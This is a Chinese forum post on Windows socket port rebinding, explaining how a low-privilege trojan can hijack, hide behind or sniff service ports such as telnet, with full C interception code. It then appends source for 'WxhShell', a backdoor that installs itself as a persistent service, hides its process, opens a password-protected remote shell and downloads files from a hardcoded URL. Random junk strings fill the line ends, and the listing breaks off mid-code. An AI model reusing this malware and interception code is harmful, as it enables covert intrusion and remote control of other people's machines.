社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10041阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M]'AA Uo8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M~6I-HexT|  
l\5 NuCgRY  
  saddr.sin_family = AF_INET; usA!MMH4  
L_~G`Rb3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "&%Hb's  
t0q@] 0B5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cwroG#jGT  
%Xl@o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 71%u|k8|  
-FI1$  
  这意味着什么?意味着可以进行如下的攻击:  fwEi//1  
$CmTsnR1#y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (07d0<<[  
" duJl-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {x: IsQZ  
x#^kv)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OrBFe *2y  
)&9RoW()?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :-Pj )Y{I  
8M|Q^VeT,1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,aJrN!fzU  
vEsSqzc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2R!W5gs1<  
}FXRp=s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3XRG"  
!S:@x.n@iR  
  #include RBXoU'.  
  #include !=we7vK}  
  #include cMv3` $  
  #include    UQFuEI<1-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @o ED tN  
  int main() mAzW'Q4D  
  { d(!N$B\[5T  
  WORD wVersionRequested; 2Kidbf  
  DWORD ret; eG v"&kr  
  WSADATA wsaData; zN1;v6;  
  BOOL val; ,b4&$W].  
  SOCKADDR_IN saddr; 3Z0\I\E  
  SOCKADDR_IN scaddr; xpM~* Gpm  
  int err; )N<!3yOz  
  SOCKET s; >U)O@W)  
  SOCKET sc; J[l K  
  int caddsize; *v+ fkg  
  HANDLE mt; zYL^e @  
  DWORD tid;   8'_Y=7b0Nw  
  wVersionRequested = MAKEWORD( 2, 2 ); ^Ram8fW  
  err = WSAStartup( wVersionRequested, &wsaData ); S\A[Z&k 0  
  if ( err != 0 ) { {@A2jk\  
  printf("error!WSAStartup failed!\n"); O^#u%/  
  return -1; m 5Kx}H~  
  } Mx"tUoU6z  
  saddr.sin_family = AF_INET; #"_MY-  
   i1 &'Zh  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N,|oV|i  
q4{tH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Fn,|J[sC  
  saddr.sin_port = htons(23); 0h#M)Ft  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TE~@Bl;{?c  
  { H JiP:{  
  printf("error!socket failed!\n"); ]@YQi<d2^  
  return -1; C)w *aU,(  
  } ,whNh  
  val = TRUE; %*OJRL`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,)1e+EnV&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1*h7L<#|mQ  
  {  6qlr+f  
  printf("error!setsockopt failed!\n"); `t6L'%\  
  return -1; H[ q{R  
  } ;^]A@WN6_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @ni~ij  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ne 4*MwK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v%5(-  
(#]KjpIK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @{uc  
  { #EUgb7  
  ret=GetLastError(); {9 O`/|  
  printf("error!bind failed!\n"); +bW|Q>u  
  return -1; qS al~  
  } )v~]lk,o  
  listen(s,2); -e>)yM `i  
  while(1) Z"Oa5V6[A  
  { Vm.@qO*=  
  caddsize = sizeof(scaddr); Y=Qf!Cq]  
  //接受连接请求 aehMLl9cl  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `'WLGQG  
  if(sc!=INVALID_SOCKET) Kf#!IY][  
  { 5eA]7$ic  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m12 B:f  
  if(mt==NULL) 9DX3]Z\7X  
  { G,*s9P]1  
  printf("Thread Creat Failed!\n"); ISew]R2  
  break; 7`HUwu  
  } /&7Yi_]r  
  } #LJ-IDuF!  
  CloseHandle(mt); (N4(r<o;  
  } W?-BT >#s  
  closesocket(s); ->=++  
  WSACleanup(); J-F_XKqH  
  return 0; kB#vh  
  }   bl_WN|SQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^ {f ^WL=  
  { VhgEG(Ud  
  SOCKET ss = (SOCKET)lpParam; 0(x@ NGb>{  
  SOCKET sc; -^v}T/Kl#  
  unsigned char buf[4096]; (p=GR#  
  SOCKADDR_IN saddr; R"`{E,yj  
  long num; *(B[J  
  DWORD val; <t% A)L%  
  DWORD ret; VY@hhr1s~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g/p9"eBpq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9'g{<(R]  
  saddr.sin_family = AF_INET; 2j1v.%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \[1CDz=}1  
  saddr.sin_port = htons(23); r:4IKuTR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E2'e}RQ  
  { ZGhoV#T@  
  printf("error!socket failed!\n"); %+ a@|Z   
  return -1; mX@* 2I  
  } y51D-vj  
  val = 100; E^a `IA  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IQe[ CcM  
  { QYXx7h r=$  
  ret = GetLastError(); 'hw@l>1\9  
  return -1; 5l0rw)  
  } O7'3}P;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2EwWV 0BS  
  { gecT*^  
  ret = GetLastError(); ok%!o+nk.  
  return -1; ;<@6f@  
  } rq["O/2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lFGxW 5  
  { tkqBCKpDa  
  printf("error!socket connect failed!\n"); ZM`P~N1?)g  
  closesocket(sc); a9zph2o-  
  closesocket(ss); x9A ZS#e)[  
  return -1; zN/~a)  
  } (!5}" fj  
  while(1) DN':-PK  
  { OKP_3Ns  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ESjJHZoD(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 cqL7dlhIl  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nvo1+W(%  
  num = recv(ss,buf,4096,0); g*?+ ~0"`Y  
  if(num>0) umZ g}|C_  
  send(sc,buf,num,0); *jw$d8q2  
  else if(num==0) $1zeY6O  
  break; 'O2#1SWe  
  num = recv(sc,buf,4096,0); Q;ZHx.ye{  
  if(num>0) V,"iMo  
  send(ss,buf,num,0); 9^#gVTGXv  
  else if(num==0) [j]J_S9jJ  
  break; OMI!=Upz  
  } pkfOM"5'  
  closesocket(ss); *a,.E6C*  
  closesocket(sc); WfT)CIKs  
  return 0 ; 9'#.>Q>0=j  
  } fwv T2G4  
U"y'Kd  
k.xv+^b9Q  
========================================================== =>}.W:=  
dF11Rj,~ 8  
下边附上一个代码,,WXhSHELL #C;zS9(]B  
KR+BuL+L  
========================================================== +bc#GzVF  
T ~~[a|bLa  
#include "stdafx.h" pY!dG-;  
P[I*%  
#include <stdio.h> LH/&\k  
#include <string.h> h9BD ^j  
#include <windows.h> +V);'"L  
#include <winsock2.h> R!k<l<9q  
#include <winsvc.h> g[wP!y%V  
#include <urlmon.h> RTgA[O4J  
RnA&-\|*  
#pragma comment (lib, "Ws2_32.lib") t>6x)2,TC  
#pragma comment (lib, "urlmon.lib") ;Ma/b=Y  
q"LJwV}W  
#define MAX_USER   100 // 最大客户端连接数 ;;w6b:}-c  
#define BUF_SOCK   200 // sock buffer @>#{WI:"~  
#define KEY_BUFF   255 // 输入 buffer ]Z$TzT&@%  
NM1cyZ  
#define REBOOT     0   // 重启 aEEz4,x_  
#define SHUTDOWN   1   // 关机 `b.o&t$L  
9!xD~(Kr  
#define DEF_PORT   5000 // 监听端口 A eGG  
I`"-$99|t1  
#define REG_LEN     16   // 注册表键长度 ?zhI=1 ED%  
#define SVC_LEN     80   // NT服务名长度 <=m 30{;f  
E)80S.V  
// 从dll定义API BbXU| QtY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $d2kHT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iz9\D*or  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QxL@'n#5   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T\2) $  
A{4G@k+#d  
// wxhshell配置信息 2;%#C!TG;  
struct WSCFG { ! v-w6WG"  
  int ws_port;         // 监听端口 |.Nr.4Yp  
  char ws_passstr[REG_LEN]; // 口令 sP6 ):h  
  int ws_autoins;       // 安装标记, 1=yes 0=no `i t+D  
  char ws_regname[REG_LEN]; // 注册表键名 9ra HSzK@d  
  char ws_svcname[REG_LEN]; // 服务名 pcRF: ~TE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l$qStL*8O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #aitESbT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;Na8 _}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H5AK n*'7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :k ME  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C!ZI&cD9  
i!SW?\  
}; J0?$v6S  
VD9 q5tt7  
// default Wxhshell configuration #$rf-E5g-K  
struct WSCFG wscfg={DEF_PORT, 7y>Tn`V8G  
    "xuhuanlingzhe", I%;Rn:zl  
    1, 2!{_/@I\Y  
    "Wxhshell", Xzx[C_G  
    "Wxhshell", 3AdP^B<  
            "WxhShell Service", <S\;k@f  
    "Wrsky Windows CmdShell Service", u;+%Qh  
    "Please Input Your Password: ", /e.FY9  
  1, ]PR|d\O  
  "http://www.wrsky.com/wxhshell.exe", y\F`B0#$  
  "Wxhshell.exe" tSEA999  
    }; I;Al? &uw  
8l U;y)Z  
// 消息定义模块 gq H`GI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Nl~Z,hT$*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8`:M\*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gf:vb*#Wa  
char *msg_ws_ext="\n\rExit."; qxf+#  
char *msg_ws_end="\n\rQuit."; (y=dR1p  
char *msg_ws_boot="\n\rReboot..."; /yx=7<  
char *msg_ws_poff="\n\rShutdown..."; v\fzO#vj  
char *msg_ws_down="\n\rSave to "; ijvNmn1k  
m3U+ du  
char *msg_ws_err="\n\rErr!"; E/:+@'(k  
char *msg_ws_ok="\n\rOK!"; jmRhAJV  
rU; g0'4e  
char ExeFile[MAX_PATH]; SW3wMPy&s  
int nUser = 0; *w=z~Jq^R"  
HANDLE handles[MAX_USER]; ^Lsc`<xC  
int OsIsNt; | d~B]65t  
MP jr_yc]  
SERVICE_STATUS       serviceStatus; B1y<.1k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NV&;e[z  
d-hbvLn  
// 函数声明 IKvd!,0xf  
int Install(void);  G5!|y#T  
int Uninstall(void); 40 A&#u9o  
int DownloadFile(char *sURL, SOCKET wsh); 86/.8  
int Boot(int flag); U!x0,sr  
void HideProc(void); ah 4kA LO  
int GetOsVer(void); XQK^$Iq]V  
int Wxhshell(SOCKET wsl); ~@xT]D!BQ  
void TalkWithClient(void *cs); xy2\'kS`G  
int CmdShell(SOCKET sock); l<$rqz3D  
int StartFromService(void); (2: N;  
int StartWxhshell(LPSTR lpCmdLine); 7Aqn[1{_O  
:]EP@.(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b([:,T7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \$'R+k-57;  
}|AX_=a  
// 数据结构和表定义 yU*u  
SERVICE_TABLE_ENTRY DispatchTable[] = kl| g  
{ }(m1ql  
{wscfg.ws_svcname, NTServiceMain}, P=2wkzeJj  
{NULL, NULL} xf'LR[M  
}; Dq|GQdZ>o  
wc"9A~  
// 自我安装 :*=Ns[Y  
int Install(void) hMv2"V-X  
{ Umij!=GPG^  
  char svExeFile[MAX_PATH]; |0lLl^zp  
  HKEY key; U4]30B{;H  
  strcpy(svExeFile,ExeFile); >A<Df  
5Wo5 n7o  
// 如果是win9x系统,修改注册表设为自启动 L"4]Tm>zq  
if(!OsIsNt) { ;"D~W#0-v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )Q~C4C-j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <&`:&7  
  RegCloseKey(key); f#1/}Hq/I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }*h47t}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3+ e4e  
  RegCloseKey(key); '|_/lz$h  
  return 0; -U7,k\g  
    } 9YAM#LBTWi  
  } '(tj[&aL  
} w#sq'vo4%  
else { f$vwuW  
GtC7^ Z&E  
// 如果是NT以上系统,安装为系统服务 \Yd4gaY\o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RJ@\W=aZ  
if (schSCManager!=0) ~JLYhA^'+<  
{ Gy9 $Wj  
  SC_HANDLE schService = CreateService /p,{?~0mj  
  ( *Z >  
  schSCManager, f\ 'T_  
  wscfg.ws_svcname, %Uf'+!4l`  
  wscfg.ws_svcdisp, >otJF3zw   
  SERVICE_ALL_ACCESS, Xo\S9,s{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v$;@0t:;#  
  SERVICE_AUTO_START, St+ "ih%  
  SERVICE_ERROR_NORMAL, [3kl^TE  
  svExeFile, (vnoP< 0  
  NULL, Y([d;_#P  
  NULL, )nOE 8y/  
  NULL, Y[@0qc3UO  
  NULL, *,&S',S-  
  NULL 'AWp6L@  
  ); 4v Lw?_".  
  if (schService!=0) \sITwPA[z  
  { t0.;nv@A0  
  CloseServiceHandle(schService); rI>LjHP  
  CloseServiceHandle(schSCManager); >azEed<B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Gc'M[9Mh  
  strcat(svExeFile,wscfg.ws_svcname); \2>3Opt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W~yLl%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H{%H^t>  
  RegCloseKey(key); )b0];&hw]  
  return 0; oqYt/4^Q  
    } v%nP*i9  
  } {[P!$ /  
  CloseServiceHandle(schSCManager); _C$X04bU3V  
} q/x/N5HU  
} ]Jn2Ra"j  
-=mwy  
return 1; x[x(y{&~  
} zSXA=   
X3yS5wh d(  
// 自我卸载 #ouE r-=  
int Uninstall(void) |IN[uQ  
{ 96}eR,  
  HKEY key; =) }nLS3t  
S/7l/DFb  
if(!OsIsNt) { ^V .'^=l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y{+3}drJE  
  RegDeleteValue(key,wscfg.ws_regname); *HeVACxo  
  RegCloseKey(key); RB;BQoGX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yb?|Eww_o  
  RegDeleteValue(key,wscfg.ws_regname); Sc_5FX\Yx  
  RegCloseKey(key); 4.w"(v9V  
  return 0; P)hi||[  
  } (NaK3_  
} f3#X0.':  
} 4K7{f+T  
else { r6 }_H?j  
m9t$h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]0-<>  
if (schSCManager!=0) +`}o,z/^  
{ T5e^J"   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iRve)   
  if (schService!=0) b-%l-u  
  { gDC2 >nV  
  if(DeleteService(schService)!=0) { Hi8Y6|y$D  
  CloseServiceHandle(schService); %/pc=i|+  
  CloseServiceHandle(schSCManager); B}\BeFt'  
  return 0; m\-PU z&C  
  } V3uXan_  
  CloseServiceHandle(schService); X"<|Z]w  
  } B9#;-QO  
  CloseServiceHandle(schSCManager); %{'4. ,  
} :<utq|#s  
} kEP<[K  
%l|\of7P2}  
return 1; e=>% ^F  
} C}Qt "-%  
gtYRV*^q  
// 从指定url下载文件 bE I!Ja  
int DownloadFile(char *sURL, SOCKET wsh) 8zmv 5trt  
{ 1;&T^Gdj  
  HRESULT hr; kUbnVF5'  
char seps[]= "/"; Y /lN@  
char *token; n9] ~  
char *file; &t3Jv{  
char myURL[MAX_PATH]; Ue7 6py9  
char myFILE[MAX_PATH]; '9q6aM/&  
$E.XOpl&I  
strcpy(myURL,sURL); E {>`MNj  
  token=strtok(myURL,seps); I7G,`h+H  
  while(token!=NULL) vGN3 YcH  
  { =x H~ww (D  
    file=token; 0p3vE,pF  
  token=strtok(NULL,seps); JXm?2 /  
  } o;QZe&  
#{,h@g}W  
GetCurrentDirectory(MAX_PATH,myFILE); jdlG#j-\  
strcat(myFILE, "\\"); X4Xf2aXI  
strcat(myFILE, file); .$wLLE^*  
  send(wsh,myFILE,strlen(myFILE),0); }4h0bI  
send(wsh,"...",3,0); ?D=8{!R3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :Tb7r6  
  if(hr==S_OK) D]u=PqHk2  
return 0; [`nY2[A$  
else :hP58 }Q$  
return 1; * nCx[  
I?M@5u  
} ^'W%X  
oEIqA  
// 系统电源模块 Y iZx{5  
int Boot(int flag) ) b:4uK A  
{ 5f_7&NxT  
  HANDLE hToken; @vAFfYU9<.  
  TOKEN_PRIVILEGES tkp; IG|\:Xz  
)U5u" ]9~  
  if(OsIsNt) { v{koKQ'Y()  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); , ` o+ ?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U~/ID  
    tkp.PrivilegeCount = 1; &7Kb]Ti  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?Aw3lH#:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Qlh?iA  
if(flag==REBOOT) { $G3@< BIN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )!,@m>0v{  
  return 0; j38 6gL  
} yjpz_<7a=  
else { f_'"KF[%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -tyaE  
  return 0; } 07r  
} xwOE+  
  } 0b++ 17aV  
  else { 5hz_P+Q  
if(flag==REBOOT) { @p]UvqtB@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8\_*1h40s  
  return 0; qTy v.#{y  
} KPggDKS  
else { JqEb;NiP)5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :8]6#c6`74  
  return 0; 'tuBuYD\  
} la`"$f  
} Hirr=a3  
wY`#$)O0*  
return 1; ZIW7_Y>_  
} 61,O%lV  
O 6]u!NqG  
// win9x进程隐藏模块 ]_ #SAhOR)  
void HideProc(void) gh61H:tkR  
{ ^A#x<J+  
!gJzg*{u@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T#r=<YH[C  
  if ( hKernel != NULL ) {(0Id!  
  { +XQP jg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LG6I_[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]}~4J.Yn  
    FreeLibrary(hKernel); EL +,jrU~  
  } |^!Vo&T  
nx$bM(.  
return; ?Cc :)  
} 3):?ZCw7y  
+7Rt{C,  
// 获取操作系统版本 :D4];d>1  
int GetOsVer(void) 8]]@S"ZM,\  
{ O! (85rp/  
  OSVERSIONINFO winfo; JZw^ W{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DaCblX  
  GetVersionEx(&winfo); 0%H24N 9.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }VZM,.w  
  return 1; 8<c' x]~  
  else +C5#$5];  
  return 0; XHNkQe  
} ==`Pb  
%ET # z!  
// 客户端句柄模块 ?RJdn]`4j  
int Wxhshell(SOCKET wsl) 07Y_^d  
{ X TM$a9)  
  SOCKET wsh; nF|Oy0  
  struct sockaddr_in client; 4 +I 3+a"  
  DWORD myID; C[0MA ,^  
ogp{rY  
  while(nUser<MAX_USER) /+29.1#|  
{  ]CIe~q  
  int nSize=sizeof(client); E4Zxv*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?sE@]]z  
  if(wsh==INVALID_SOCKET) return 1; Iht'e8)gq  
O$U}d-Xnx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UQnBqkE  
if(handles[nUser]==0) C$_G'XI  
  closesocket(wsh); 8=pv/o  
else A$ J9U3+O  
  nUser++; yWmrdvL  
  } ?-S8yqe  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wA1Ey:q  
0}D-KvjyP  
  return 0; HoL~j({  
} []=_<]{  
T;J7+0  
// 关闭 socket $)f"K  
void CloseIt(SOCKET wsh) i0b.AA  
{ \#2 s4RCji  
closesocket(wsh); {dBB{.hX  
nUser--; ^8Z@^M&O"  
ExitThread(0); ]2PQ X4t 0  
} y]7%$* <  
jQ)L pjS1  
// 客户端请求句柄 U Q)!|@&  
void TalkWithClient(void *cs) R~$hWu}}  
{ %fBP:5%K  
4?v$<=#21*  
  SOCKET wsh=(SOCKET)cs; r:73uRk  
  char pwd[SVC_LEN]; 3Qk/ Ll  
  char cmd[KEY_BUFF]; nPcxknl(pd  
char chr[1]; 2+o!o  
int i,j; ^glX1 )  
{N "*olx  
  while (nUser < MAX_USER) { ;*nh=w  
"% SX@  
if(wscfg.ws_passstr) {  w"BIv9N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C/bxfp{?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PP],HB+*[  
  //ZeroMemory(pwd,KEY_BUFF); b]"2 VN  
      i=0; }#&~w 0P  
  while(i<SVC_LEN) { sbgJw  
~};]k}  
  // 设置超时 )=y.^@UT@  
  fd_set FdRead; Q*Y 4m8wY  
  struct timeval TimeOut; K[*h+YO  
  FD_ZERO(&FdRead); zUJx&5/  
  FD_SET(wsh,&FdRead); [;*\P\Xih  
  TimeOut.tv_sec=8; &yB%QX{3  
  TimeOut.tv_usec=0; =,O /,2)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g%ZdIKj!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bj; [  
(x}A_ i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .l7j8 }  
  pwd=chr[0]; d3og?{i<}&  
  if(chr[0]==0xd || chr[0]==0xa) { A 0 S8Dh$  
  pwd=0; 8~;{xYN )  
  break; AjG)1  
  } 7,f:Qi@g  
  i++; PBCb0[\  
    } YXgWH'i~  
tc"T}huypU  
  // 如果是非法用户,关闭 socket )ni"qv~J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u IAZo;  
} DQ%`v =  
c!.=%QY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0h^uOA; c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N`f!D>b:dn  
Rq"VB.ef&{  
while(1) { dJloH)uJZ>  
Ih(:HFRMq6  
  ZeroMemory(cmd,KEY_BUFF); $|rCrak;  
={\![{L  
      // 自动支持客户端 telnet标准   DE5d]3B  
  j=0; z'?SRK5+  
  while(j<KEY_BUFF) { I; ^xAd3G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?Y%}(3y  
  cmd[j]=chr[0]; @<|6{N<  
  if(chr[0]==0xa || chr[0]==0xd) { sf fV.cC`  
  cmd[j]=0; "v@);\-V  
  break; 6euR'd^Qi  
  } R_t~UTfI;  
  j++; "tfn?n0  
    } 4tbw*H5!5  
Um/CR!  
  // 下载文件 2TE\4j  
  if(strstr(cmd,"http://")) { 8b-7]%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T:be 9 5!,  
  if(DownloadFile(cmd,wsh)) x6"/z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1aBD^^Y  
  else GVeL~Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4s[`yV  
  } -)p@BtMS  
  else { >Dk1axZ!>/  
^cB49s+{e  
    switch(cmd[0]) { su,`q  
  , - QR  
  // 帮助 dz{#"No0  
  case '?': { Cq-hPa}2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c]GQU  
    break; Lc58lV=  
  } nUiS<D2  
  // 安装 8w03{H 0  
  case 'i': { O 5g}2  
    if(Install()) SL6mNn9c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xq+!eOT  
    else G%xb0%oi]%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eLCdAr  
    break; ll^Th >  
    } =AWX +znP  
  // 卸载 uCY(:;[<  
  case 'r': { F~tm`n8Z  
    if(Uninstall()) @~JB\j9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P]|J?$1K  
    else x*NqA( r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d-9uv|SJ  
    break; _Ngx$  
    } >.a+:   
  // 显示 wxhshell 所在路径 <E D8"~_  
  case 'p': { O]c=Yyl  
    char svExeFile[MAX_PATH]; co \[{}}  
    strcpy(svExeFile,"\n\r"); _cW_u?0X:  
      strcat(svExeFile,ExeFile); GwTT+  
        send(wsh,svExeFile,strlen(svExeFile),0); ^`l"'6  
    break; { z-5GH|  
    } Hlz'a1\:O]  
  // 重启 pw0Px  
  case 'b': { f 1sy9nQs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sjkWz2]S  
    if(Boot(REBOOT)) C4&U:y<ju  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b7?U8/#'  
